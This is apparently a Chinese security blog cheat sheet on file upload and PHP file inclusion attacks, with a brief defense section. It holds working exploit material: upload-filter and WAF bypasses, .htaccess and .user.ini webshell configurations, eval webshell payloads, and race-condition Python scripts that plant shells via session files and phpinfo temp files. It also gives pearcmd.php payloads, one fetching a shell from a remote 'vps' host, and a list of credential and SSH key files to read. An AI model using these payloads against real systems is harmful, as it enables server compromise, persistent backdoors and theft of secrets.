文件上传+文件包含漏洞备忘录

文件上传漏洞

客户端校验

原理:调用JS的selectFile()函数,将文件名转化为小写,然后通过substr获取文件名最后一个点好后面的后缀(包括点号)进行判断,可以采用白名单,也可以采用黑名单的方式。

<script type="text/javascript">
	function selectFile(fnUpload) {
		var filename = fnUpload.value; 
		var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); 
		if(mime!=".jpg") 
		{ 
			alert("请选择jpg格式的照片上传"); 
			fnUpload.outerHTML=fnUpload.outerHTML; 
		}
	}
</script>

绕过方法:直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个合法后缀名木马(如:hack.gif / hack.jpg),通过抓包修改为 jsp/php/asp

服务器端校验

校验请求头 content-type字段(MIME绕过)

通过抓包来修改Http头的content-type即可绕过

文件幻数(文件头)检测绕过

在木马内容的前面插入合规的文件头内容,在可上传的后缀文件中插入木马代码,然后修改后缀,也可配合.htaccess ,.user.ini使用(无需修改后缀)
常见的文件头(文件头标志位)如下

(1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)
(2).gif,”GIF89A”(474946383961)
(3).zip,”ZipCompressed”(504B0304)
(4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1

文件加载检测

一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传

通过例如加载文件进行图像渲染的方式来测试,这个时候就一般需要在正常的文件中插入木马代码了,例如图像,那么插入的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测,此时可以使用工具(称为插马器)来进行插入,例如edjpgcom,或者直接用copy命令来合成也可以。当然这种检测不一定能够完全绕过。

后缀名检测

黑名单

大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过

找查blacklist(黑名单列表)的漏网之鱼,能被解析的文件扩展名列表:

jsp jspx jspf
asp asa cer aspx	
php php php3 php4 pht
exe exee
白名单
00截断漏洞

低版本中可用马,如(php < 5.3.4)

截断形式:0x00,%00,/00

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束如:test.php%00.jpg

服务器解析漏洞

web容器:
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)

中间件:
提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。

服务器:
www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。

文件解析:
当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名。
服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端。

IIS解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

  • 目录解析(6.0)

    形式:www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。

  • 文件解析

    在处理含有特殊符号的文件路径时会出现逻辑错误(会正常执行)

    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。 解析文件类型

形式: xx.asp;.jpg 或者 test.asp/test.jpg
//IIS6.0 默认的可执行文件除了asp还包含这三种 :
test.asa
test.cer
test.cdx
  • 栈溢出

    IIS6.0处理propfind指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,导致远程代码执行。

  • IIS7.0

    test.jpg/.php,无论文件是否存在都直接交给php处理,而php又默认开启"cgi.fig_pathinfo",会对文件路径进行“修理”【当php遇到路径"/aaa.xxx/bbb.yyy"时,如果"aaa.xxx/bbb.yyy"不存在则抹去最后的"bbb.yyy",然后判断"aaa.xxx"是否存在,如果存在则把"aaa.xxx"当做php程序执行。】

Apache文件解析漏洞

漏洞原理:
apache文件解析漏洞与用户的配置有密切关系。严格来说属于用户配置问题。
一个重要文件/etc/mime.types这里记录了大量的文件后缀和mime类型,当客户端请求一个文件的时候如果后缀在这个列表里,那么apache就返回对应的content-type给游览器如果没有就不会返回而是直接返回文件内容由游览器自动处理。
apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞:
如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案:

在这里插入图片描述

用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewritemodule modules/modrewrite.so 把#号去掉,重启apache,在网站根目录下建立.htaccess文件

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
nginx解析漏洞

漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME。当访问 www.xx.com/phpinfo.jpg/1.php这个URL时, $fastcgi_script_name会被设置为 phpinfo.jpg/1.php,然后构造成 SCRIPT_FILENAME传递给PHP CGI,如果开启了fix_pathinfo这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPTFILENAME是phpinfo.jpg,PATHINFO为1.php,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式:

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg %00.php
www.xxxx.com/UploadFiles/image/1.jpg/ %20.php

另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

配置文件利用
.user.ini(nginx/apache/IIS)

user.ini文件构成的PHP后门

php配置项中有两个比较有意思的项(下图第一、四个):
在这里插入图片描述
auto_append_file、auto_prepend_file,点开看看什么意思:
在这里插入图片描述
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif

在文件内容受限制时可使用伪协议配合编码绕过

auto_prepend_file="php://filter/convert.base64-decode/resource=./shell.aaa"

image-20220829110702025

.htaccess

.htaccess 文件 在文件上传中的使用

.htaccess的奇淫技巧

AddType application/x-http-php .jpg   #(上传的jpg 均以php执行)
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件使用要在apache配置文件 httpd.config中设置 AllowOverride All

  • 绕过过滤的替换写法:

    AddHandler php5-script .txt
    AddHandler php7-script .txt
    AddType application/x-httpd-php .jpg
    #解析目录下全部文件
    SetHandler application/x-httpd-php  
    
  • 绕过关键字

    #使用反斜杠换行绕过
    AddType appli\  cation/x-httpd-php .jpg  
    
  • 绕过exif_imagetype函数

    #伪造为xbm文件
    #define 4c11f3876d494218ff327e3ca6ac824f_width  xxx(大小)
    #define  4c11f3876d494218ff327e3ca6ac824f_height xxx(大小) 
    
  • 特殊编码绕过

    #define 4c11f3876d494218ff327e3ca6ac824f_width 1337
    #define 4c11f3876d494218ff327e3ca6ac824f_height 1337
    AddType application/x-httpd-php .jpg
    php_flag display_errors on
    php_flag zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    
  • 文件内容受限制

    #使用伪协议解码配合文件内容编码绕过
    #define width 1337
    #define height 1337 
    AddType application/x-httpd-php .ahhh
    php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa
    
  • prce回溯绕过正则匹配

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    
  • error_log生成shell

    php_value error_log D:\phpStudy\PHPTutorial\WWW\tmp\fl3g.php
    php_value error_reporting 32767
    php_value include_path "+ADw?php eval($_GET[cmd])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    # \
    
    php_value include_path "D:\phpStudy\PHPTutorial\WWW\tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \
    
  • 开启php解析+自动包含

    <FilesMatch .htaccess>
    #强制所有匹配的文件被一个指定的处理器处理
    ForceType application/x-httpd-php
    SetHandler application/x-httpd-php 
    Require all granted  
    php_flag engine on	
    </FilesMatch>
    #在主文件解析之前自动解析包含.htaccess的内容
    php_value auto_prepend_file .htaccess
    #<?php eval($_POST['cmd']);?>
    
  • 信息收集

    #访问http://ip/server-status即可查看所有访问本站的记录
    SetHandler server-status
    
条件竞争:

一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含执行脚本,如果包含则删除。

绕过方法:

利用成功上传到删除文件的事件差上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

畸形压缩包(多放几个文件,解压到一半后失败,从而绕过文件检查后的删除,修改压缩包crc校验值或者压缩包内的文件名为系统不合法的文件名)

内容检测

文件的内容不能包含<?,但可以上传<script language='php'><scirpt>类型的图片马来绕过

常见WAF绕过姿势

  • **大小上限:**WAF对校验的用户数据设置大小上限,此时可以构造一个大文件的木马,前面都是填充的垃圾内容

  • **filename字段:**针对早期版本的安全狗,可以多加一个filename来绕过,
    在这里插入图片描述
    或者可以通过吧filename放在非常规的位置来绕过(这里的filename指在http请求头中上传的文件名字)
    在这里插入图片描述

  • **特定请求类型绕过:**如果WAF规则是:只检测特定请求类型的数据包,但服务端接收的时候却用了request来,此时通过修改请求头的请求方法就可以绕过

  • 利用waf本身的缺陷,对于不同的waf产品可以搜索其对应的漏洞缺陷,进行绕过

  • **利用NTFS ADS特性:**ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过

  • **文件重命名绕过:**如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

漏洞防御

限制文件上传类型:
白名单结合黑名单:黑名单常常会出现遗漏或者大小写绕过等问题,所以通常采用白名单限制安全的文件类型。

扩展名检测需要防范%00截断或者文件名包含空格等特殊字符的绕过方式; 对于图片上传,可以考虑对其进行二次渲染/压缩。

限制上传文件大小:
1.限制上传文件的大小,防止由于内存、磁盘耗尽造成的拒绝服务。
2.可以配置web server允许的最大Post大小。
3.可以在代码层面获取上传文件的大小,根据文件类型的不同进行进一步的过滤。

确保上传文件被访问正确返回:
1.将文件上传目录设置为静态资源目录,防止被解析为脚本执行。
2.使用代理页面隐藏文件真实路径。
3.使用上述方法时,确保Content-Type与实际文件类型一致。
4.如果文件不允许在页面展示,仅允许下载,请设置Content-disposition:attachment。

其他:
1.确保上传的 文件放在安全的路径下,必要时可以将上传的文件防御web server之外的远程服务器。
2.确保web server版本为最新,防止由于web server漏洞造成文件意外解析。
3.部分文件上传攻击会配合本地其他漏洞进行,所以也要减少服务器其他可利用的漏洞。

文件包含漏洞

文件包含常见利用方式有读文件,配合文件上传解析木马文件,其实上面.user.ini .htaccess的利用方式中就有利用配置选项进行文件包含的。

Docker PHP裸文件本地包含综述

文件包含函数:

  • include() || include_once()

  • require() || require_once()

    如果未找到文件则 include 结构会发出一条 E_WARNING,不影响后续语句的执行;这一点和 require 不同,后者会发出一个 E_ERROR,直接退出。

  • spl_autoload_register()

    反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc(类同名文件)

PHP伪协议

除了几种协议主要还是对过滤器的应用。

file:///etc/passwd
netdoc:///etc/passwd  #JDK<=8
jar:file:/xxxxx/xxx.zip!/xxx.xxx #压缩文件内的内容
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter/read=convert.iconv.utf-8.utf-16be/resource
php://filter/read=convert.quoted-printable-encode/resource
php://filter/convert.base64-encode/resource
php://filter/convert.quoted-printable-encode/resource
可用过滤器列表:https://www.php.net/manual/zh/filters.php

命令执行

#allow_url_fopen: On
#allow_url_include: On
data:text/plain,<?php phpinfo();?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
#allow_url_include = On
php://input
post data: `<?php system("net user"); ?>` 
#配合文件上传+反序列化
phar://test.zip/test.txt
#写一个文件phpinfo.php,其内容为<?php phpinfo(); ?>,打包成zip
zip:///xxxxx/xxx.zip!%23phpinfo.php

session.upload_progress进行文件包含(php>5.4)

浅谈 SESSION_UPLOAD_PROGRESS 的利用

session在php中以文件存储,文件名以sess_+sessionid来进行命名的,如:PHPSESSID=test => sess_test

php.ini中相关的session配置

和会话安全相关的配置项

选项作用
session.save_path设置session的存储路径
session.save_handler设定用户自定义存储函数
session.auto_start指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler定义用来序列化/反序列化的处理器名字。默认使用php
session.use_strict_mode默认为off,此时会生成对应的session,即使没有初始化
session.auto_start开启后,在接受请求时自动初始化session
session.upload_progress.enabled session.upload_progress.cleanupphp将会把此次文件上传的详细信息存储在session当中。 当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefixprefix+name将表示为session中的键名
session.upload_progress.name当一个上传在处理中,同时POST一个与name同名变量时,上传进度可以在$_SESSION中获得
  • 默认值:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//值为1时,开启此项的话就得 调用session_start() — 启动新会话或者重用现有会话
session.use_strict_mode = 0

session默认存储位置:

  • Linux:/tmp /var/lib/php/session
  • Windows:C:\WINDOWS\Temp

从上面配置项的默认值可以看到,此时用户是可以控制session文件名的,即使此时没有初始化session。

开启了文件上传进度,在上传文件的同时POST一个与name同名变量(PHP_SESSION_UPLOAD_PROGRESS),上传的详细信息可以在$_SESSION中获得;并产生一个由session.upload_progress.prefix+session.upload_progress.name同名变量的值组成的键值,写入sess_文件里。

此时就可以包含sess_文件了,但文件上传后session文件内容立即清空。

利用条件竞争,在session文件内容清空前进行包含利用

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

或者通过包含去写文件到tmp目录

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'


def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )


def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        )

        if flag.encode() in response.content:
            e.set()


if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event))

    for i in range(5):
        futures.append(pool.submit(write, event))

    wait(futures)

phpinfo 临时文件包含

需开启file_uploads = On

image-20220829223339196

向phpinfo页面POST上传一个文件,PHP就会将文件保存成一个临时文件(请求结束后即删除),路径通常为:/tmp/php[6个随机字符] 或者 C:/Windows/php[4个随机字符].tmp

image-20220829223822049

通过条件竞争在临时文件删除前包含,通常使用脚本自动化实现。

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

函数自动文件包含

spl_autoload_register()

反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc(类同名文件)

上传一个inc后缀文件,再生成反序列化数据,最后去开启该函数的页面进行反序列化操作,触发自动包含,执行木马。

eg:强网杯2022 - rcefile

pear

  • 存在pear工具

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

主要利用pearcmd.php这个文件,去执行config-create命令(文件内容,写入的文件路径)去写文件

  • register_argc_argv=On

    如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On。(Docker环境下的PHP会开启register_argc_argv

    开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

    在web服务下,参数以+作为分隔符:

    <?php
    var_dump($_SERVER['argv']);
    ?>
    

    image-20220901203223498

本地写文件

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
#配合过滤器使用
/?+config-create+/&eHh4eD4qKipQRDl3YUhBZ2MzbHpkR1Z0S0NSZlIwVlVXMk50WkYwcE96czdQejRn<&kaibro=/usr/local/lib/php/pearcmd&/<meow>+/tmp/meoww.php
/?kaibro=php%3a//filter/read=string.strip_tags%7Cconvert.base64-decode%7Cstring.strip_tags%7Cconvert.base64-decode/resource=/tmp/meoww&cmd=/readflag

下载远程文件

/?file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php

#利用302跳转,重定向到 http://kaibro.tw/test.php 下载
/?+channel-discover+kaibro.tw/302.php?&kaibro=/usr/local/lib/php/pearcmd

Command Injection

/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14

/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
    
/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&

eg:

SSI (Server Side Includes)

Nginx buffering 上传过大文件

当 Request body 过大或是 fastcgi server response 过大,超过buffer size 时,其内容会保存到临时文件中 (reference),该临时文件很快会被删除。

临时文件位置:

  • /var/lib/nginx/body/
  • /var/lib/nginx/fastcgi/

通过 /proc/<nginx worker pid>/fd/<fd> 取得被刪除的临时文件,php 的 include() 会将fd 路径解析成 /var/lib/nginx/body/0000001337 (deleted) 格式,通过变形绕过:

  • /proc/self/fd/34/../../../34/fd/15
  • /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15

eg:

日志文件包含

WEB访问日志

访问路径写入恶意代码,然后包含日志文件即可。

image-20220829233404537

SSH log

/var/log/auth.log
/var/log/secure

用ssh连接:

ssh '<?php phpinfo(); ?>'@remotehost

常用敏感文件路径

服务器信息(绝对路径)

/etc/passwd
/etc/shadow
/etc/hosts          # 主机信息
/proc/version       # 内核版本
/proc/mounts        # 挂载的文件系统列表
/proc/net/route     # 路由表信息
/proc/net/arp       # arp表,可以获得内网其他机器的地址
/etc/apache2/*  #Apache配置文件
/etc/nginx/		#Nginx配置文件
/usr/local/nginx/conf/*
/etc/apparmor(.d)/		#是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令
/etc/(cron.d/|crontab)	#定时任务文件
/var.log/*		#日志
#环境变量
/etc/environment
/etc/profile
/etc/bashrc(Ubuntu和Debian中是/etc/bash.bashrc)
#PHP session目录
/var/lib/php(5)/session/
#web服务目录
/var/www/html
/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
/usr/local/tomcat/webapps/ROOT/WEB-INF/classes

程序运行信息(/proc 目录)

/proc/sched_debug   # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/net/tcp       # 活动连接的信息
/proc/net/udp
/proc/net/fib_trie  # 路由缓存
#当前进程则使用self代替pid,pid可爆破
/proc/pid/cmdline		#启动当前进程的完整命令
/proc/pid/environ		#指定进程的环境变量信息

/proc/self/root/        #是指向/的符号链接

#需要命令执行
ls -al /proc/pid/exe	#启动当前进程的可执行文件(完整路径)的符号链接
ls -al /proc/pid/fd		#fd 是一个目录,里面包含这当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接,通过这个文件描述符我们即可得到被删除文件的内容

内网探测

/proc/net/fib_trie
/proc/net/arp
/proc/net/route
/etc/hosts

用户目录

/home/ctf/.bash_history		#历史执行命令
/home/ctf/.bashrc			#用户环境变量
/home/ctf/.ssh/id_rsa(.pub)	#ssh登录私钥/公钥
/home/ctf/.viminfo			#vim使用记录

系统信息

/etc/issue
/proc/version
/etc/redhat-release
/etc/debian_version
/etc/slackware_version
/etc/*version
/proc/cpuinfo

服务默认路径

#ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
#Nginx
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log     #根据情况替换[version]
/usr/local/services/nginx-[version]/logs/error.log
/usr/local/services/nginx-[version]/nginx.conf
/usr/local/services/nginx-[version]/conf/nginx.conf
/usr/local/services/nginx-[version]/conf/proxy.conf
/usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf
#Apache
/home/httpd/
/home/httpd/www/
#tomcat
/usr/local/services/apache-tomcat-8.0.23/logs       #根据情况替换[version]
/usr/local/services/apache-tomcat-[version]/logs/catalina.out
#jetty
/usr/local/services/jetty-8.1.16/                   #根据情况替换[version]
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
#resin
/usr/local/services/resin-4.0.44/                   #根据情况替换[version]
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties
#svn
/home/svnroot/

日志存储默认路径

#apache+Linux日志默认路径
/etc/httpd/logs/access.log
/var/log/httpd/access.log
#apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
#IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
#IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
#nginx 日志文件:在安装目录下的logs目录
/usr/local/nginx/logs

中间件配置文件默认路径

#apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf或/etc/init.d/httpd
#IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
#IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

软链接读取文件

ln -s /proc/self/environ 111
zip -ry 111.zip 111
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值